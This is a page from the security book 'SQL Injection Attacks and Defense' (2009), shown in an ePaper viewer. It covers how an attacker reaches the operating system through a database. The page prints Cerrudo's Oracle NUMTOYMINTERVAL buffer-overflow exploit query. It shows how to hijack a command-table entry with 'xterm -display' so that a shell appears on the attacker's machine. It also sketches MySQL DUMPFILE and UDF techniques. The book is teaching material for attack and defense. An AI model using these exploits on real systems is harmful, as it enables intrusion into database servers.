28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

304 Chapter 6 • Exploiting the Operating System<br />

Buffer Overflows<br />

In 2004, Cesar Cerrudo published an exploit for a buffer overflow in the Oracle functions<br />

NUMTOYMINTERVAL <strong>and</strong> NUMTODSINTERVAL (see http://seclists.org/vulnwatch/<br />

2004/q1/0030.html). By using the following exploit, it was possible to run operating system<br />

comm<strong>and</strong>s on the database server:<br />

SELECT NUMTOYMINTERVAL (1,'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR'<br />

||chr(59)||chr(79)||chr(150)||chr(01)||chr(141)||chr(68)||chr(36)||chr(18)||<br />

chr(80)||chr(255)||chr(21)||chr(52)||chr(35)||chr(148)||chr(01)||chr(255)||<br />

chr(37)||chr(172)||chr(33)||chr(148)||chr(01)||chr(32)||'echo ARE YOU SURE?<br />

>c:\Unbreakable.txt') FROM DUAL;<br />

Custom Application Code<br />

In the Oracle world, it is not uncommon to use tables containing operating system<br />

comm<strong>and</strong>s. These comm<strong>and</strong>s will be executed by an external program connecting to the<br />

database. By updating such an entry in the database with the comm<strong>and</strong> of your choice,<br />

you can often overtake systems. It’s always worth it to check all tables for columns<br />

containing operating system comm<strong>and</strong>s. For example:<br />

+----+------------------------------------+---------------+<br />

| Id | Comm<strong>and</strong> | Description |<br />

+----+------------------------------------+---------------+<br />

| 1 | sqlplus –s / as sysdba @report.sql | Run a report |<br />

+----+------------------------------------+---------------+<br />

| 2 | rm /tmp/*.tmp | Daily cleanup |<br />

+----+------------------------------------+---------------+<br />

By replacing rm /tmp/*.tmp with xterm –display 192.168.2.21, sooner or later a new<br />

xterm window with Oracle privileges will appear on the attacker’s PC.<br />

My<strong>SQL</strong><br />

My<strong>SQL</strong> does not natively support the execution of shell comm<strong>and</strong>s. Most times the attacker<br />

hopes that the My<strong>SQL</strong> server <strong>and</strong> Web server reside on the same box, allowing him to use the<br />

“select into DUMPFILE” technique to build a rogue Common Gateway Interface (CGI) on<br />

the target machine. The “create UDF” attack detailed by NGS Software (www.ngssoftware.<br />

com/papers/HackproofingMy<strong>SQL</strong>.pdf ) is excellent thinking, but it’s not easy to do through<br />

an <strong>SQL</strong> injection attack (again because you cannot execute multiple queries separated by a<br />

comm<strong>and</strong> separator). Stacked queries are possible in My<strong>SQL</strong> 5 <strong>and</strong> later, but this has not been<br />

found in the wild very often (yet).

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!